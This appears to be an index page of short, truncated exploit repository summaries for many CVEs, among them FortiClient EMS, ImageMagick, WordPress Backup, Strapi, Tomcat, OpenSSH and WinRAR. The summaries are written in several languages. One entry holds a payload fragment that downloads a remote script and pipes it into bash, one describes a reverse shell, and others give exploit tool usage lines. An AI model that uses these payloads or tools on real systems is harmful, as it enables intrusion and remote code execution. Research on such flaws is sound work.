CVE-2026-35616

CVE-2026-35616 - FortiClient EMS 预认证 API 绕过导致远程代码执行 摘要 Fortinet FortiClient EMS 7.4.5 和 7.4.6 中存在一个严重的认证绕过漏洞，允许完全未认证的远程攻击者通过伪造单个 HTTP 头（X-SSL-CLIENT-VERIFY）绕过 API 认证。该缺陷源于 Django 中间件信任来自用户可控请求头中的客户端证书元数据，而不仅仅信任受信任的反向代理。这使攻击者能够获得完整的管理 API 访问权限——并由此在企业内受管端点上执行任意代码。 自 2026 年 3 月 31 日起已被积极利用。2026 年 4...

CVE-2019-17564

CVE-2019-17564 CVE-2019-17564 : Apache Dubbo 反序列化远程代码执行...

CVE-2021-21014

PoC 制限付き CVE-2021-21014 Magento バージョン 2.4.1（およびそれ以前）、2.4.0-p1（およびそれ以前）、2.3.6（およびそれ以前）は、ファイルアップロード制限のバイパスに対して脆弱です。攻撃に成功すると、認証された攻撃者による任意のコード実行が可能になる可能性があります。 影響を受けるバージョン: = Magento 2.4.1 ユーザー要件: メディアギャラリー +- 商品権限のみを持つ管理者アカウント Webサーバー: Apache 2 結果: RCE 参考文献...

CVE-2016-3714

CVE-2016-3714 ImageMagick 代码执行漏洞（CVE-2016-3714） imagickbuilder.py = 简单有效载荷生成器，用于利用 CVE-2016-3714 imagickbypassshell.php = 基于 PHP 的 Web Shell，利用 PHP imagick 扩展包装器绕过禁用的函数 一些工作截图： 有效载荷生成器： imagick 有效载荷 vs 启用 ImageMagick 的 vBulletin 4.x： 有效载荷触发后的服务器端： Web Shell： 命令执行： 文件读取：...

CVE-2023-6553

CVE-2023-6553 针对WordPress Backup插件中CVE-2023-6553的漏洞利用开发 这是一个严重级别的CVE，CVSS评分为9.8 该漏洞允许攻击者向运行受影响版本插件的服务器发送命令 受影响版本 Backup :9000/a.sh |bash';?" 3. 你会收到以下错误 root@kitploit: HTTP Response Body: 400 Bad Request Bad Request Your browser sent a request that this server could not understand. Size of a...

CVE-2024-23780

CVE-2024-23780 Netbox 漏洞利用脚本 该脚本利用 CVE-2024-23780 漏洞，可在 Netbox 实例上执行远程代码（RCE）。 使用方法 python netboxexploit.py --url --username --password 参数 --url：Netbox 实例的 URL。 --username：用于 Netbox 实例身份验证的用户名。 --password：用于 Netbox 实例身份验证的密码。 在任意 Netbox 实例上运行此脚本前，请确保您已获得适当的授权。...

CVE-2017-7494_IT19115344

CVE-2017-7494IT19115344 在Samba中发现了一个远程代码执行漏洞。一个恶意的已认证的Samba客户端，如果对Samba共享具有写权限，可以利用此漏洞以root身份执行任意代码。...

CVE-2023-47464

GL-AX1800 路由器安全评估报告 概述 本报告概述了对 GL.iNet 生产的 GL-AX1800 路由器进行的一次全面安全评估结果。评估旨在识别设备安全措施中的潜在漏洞和弱点。在评估过程中，发现了若干严重安全问题，包括跨站请求伪造 CSRF、不安全的文件上传、路径遍历、文件覆盖导致远程代码执行 RCE 以及无限制的文件访问下载。 漏洞 跨站请求伪造 CSRF GL-AX1800 路由器容易受到 CSRF 攻击，攻击者可利用此漏洞在已认证用户不知情的情况下执行未授权操作。通过精心构造恶意请求并诱骗用户访问特制网页，攻击者可以操控路由器设置，进而可能导致对设备的未授权访问或控制。...

CVE-2022-36234

Descripción de CVE-2022-36234 Se descubrió que la confirmación 29bc615f0d9910eb2f59aa8dff1f54f0e3af4496 del Servidor TCP SimpleNetwork contiene una vulnerabilidad de doble liberación double free que se explota mediante paquetes TCP manipulados. Provocar la doble liberación permitirá a los cliente...

Strapi-RCE

Strapi-RCE 展示结合了 CVE-2019-18818 和 CVE-2019-19609 的利用脚本，用于在 Strapi CMS 中实现未经认证的远程代码执行。 漏洞利用 此脚本利用了 Strapi CMS 3.0.0-beta.17.4 及更低版本中的一个漏洞，允许未经认证的远程代码执行。 描述 该利用方法首先利用密码重置漏洞获取管理用户的 JSON Web Token JWT。然后使用该令牌向 Strapi CMS 发送恶意负载，从而触发反向 shell 回连到攻击者的机器。 使用方法 1. 克隆仓库： root@kitploit: git clone...

CVE-2016-2173

CVE-2016-2173 - Spring AMQPにおけるリモートコード実行 - アプリケーションテスト 説明 org.springframework.core.serializer.DefaultDeserializer クラスは、デシリアライズされたオブジェクトをホワイトリストに対して検証しません。Chris Frohoff の Commons Collection ガジェットのような細工されたシリアライズオブジェクトを提供することで、リモートコード実行が可能になります。 影響を受けるバージョン 1.0.0 から 1.5.4 ベンダー Pivotal 社による Spring...

CVE-2026-24061

CVE-2026-24061 CVE-2026-24061 Telnet RCE 漏洞利用工具（支持 Linux、macOS、Windows） CVE-2026-24061 Telnet RCE 1.9.3 = GNU Inetutils = 2.7 用法：go-telnet-exploit -p 检测 漏洞利用...

CVE-2024-53900

CTF チャレンジ - Mongoose RCE CVE-2024-53900 チャレンジ概要 この Capture The Flag CTF チャレンジは、Mongoose の脆弱性 CVE-2024-53900 に基づいています。この脆弱性は、MongoDB クエリ内の $where 演算子の不適切な使用により、リモートコード実行 RCE を可能にします。 あなたの目標は、この脆弱性を悪用して、アプリケーション内に隠されたフラグを取得することです！ セットアップ手順 1 依存関係のインストール Node.js がインストールされていることを確認し、次のコマンドを実行します：...

firefox-rce-nssmil

Firefox RCE（CVE-2016-9079）——教育用途 JavaScript 移植版 CVE-2016-9079 公开漏洞利用程序的教育性实现，改编自原始 Exploit-DB/Metasploit 模块，以提供独立使用版本。 免责声明 本仓库严格仅供教育和研究目的使用。其中包含一个公开漏洞利用程序的 JavaScript 移植版本，用于研究历史上的浏览器漏洞利用技术。它不 旨在用于对您不拥有或未经授权测试的系统进行未授权使用。 概述 本仓库包含 CVE-2016-9079 公开漏洞利用程序的独立 JavaScript 实现，该漏洞是一个影响旧版 Mozilla Firefox...

CVE-2025-55752

🚨🚨 CVE-2025-55752 — Apache Tomcat：通过 Rewrite Valve 绕过目录保护 → 基于 PUT 的 RCE🚨🚨 摘要 CVE-2025-55752 是 Apache Tomcat 在修复 bug 60013 时引入的一个安全回归问题。当使用 Rewrite Valve 时，Tomcat 在 URL 解码 之前应用 路径规范化 。这种错误的顺序使得精心构造的 URI 能够绕过 StandardContextValve.java 中对 /WEB-INF/ 和 /META-INF/ 等受保护路径实施的访问检查。如果服务器接受 HTTP PUT...

CVE-2023-25136

CVE-2023-25136 OpenSSH 9.1漏洞大规模扫描和利用 脆弱性的详细信息 OpenSSH是一种实现SSH协议的软件，通常用于以安全的方式连接到Linux（或Windows）机器以执行远程管理。 OpenSSH 9.1中引入的CVE-2023-25136安全漏洞影响SSH预身份验证过程。通过利用它，攻击者可以破坏内存并在机器上执行任意代码，而无需对目标服务器进行身份验证。 ＃使用 运行脚本选择“IP地址列表扫描”或“直接利用易受攻击的IP” ＃requirements •Paramiko：要安装，只需键入 pip install paramiko...

ezwinrar

ezwinrar CheckPointの研究者によって発見されたCVE-2018-20250を悪用するPythonツール : https://research.checkpoint.com/extracting-code-execution-from-winrar/ ACE形式のファイル名フィールドを細工することにより、展開先フォルダ（展開フォルダ）が無視され、ファイル名フィールド内の相対パスが絶対パスになります。この論理的なバグにより、ファイルを任意の場所に展開することが可能となり、事実上コード実行が可能になります。 使用方法: python3 ezwinrar.py...

LuCI_RCE_exp

CVE-2019-12272 の EXP CVE-2019-12272 は、LuCI の任意の bash コードを実行できる脆弱性です。 詳細 https://hachp1.github.io/posts/Web%E5%AE%89%E5%85%A8/20190710-lucirce.html 使用方法 python .\cve-2019-12272bandwidthstatus.py -a 192.168.153.4 -u root -p root -c ls python .\cve-2019-12272wirelessstatus.py -a 192.168.153.4 -u roo...

CVE-2020-27955

Git-lfs Remote Code Execution RCE exploit CVE-2020-27955 .bat / powershell version Vulnerable: git, GitHub CLI gh, GitHub Desktop, Visual Studio Code, SourceTree, SmartGit, GitKraken etc. Discovered by Dawid Golunski https://legalhackers.com https://exploitbox.io Tested on Windows on: git, GitHub...

CVE-2020-23934

CVE-2020-23934 参考资料 1 https://www.exploit-db.com/exploits/48636 2 https://github.com/vj0shii/PRTG-Network-MonitorCMS-Authenticated-Remote-Code-Execution/blob/master/PRTGCMS.py 3 https://stackoverflow.com/questions/12385179/how-to-send-a-multipart-form-data-with-requests-in-python 4...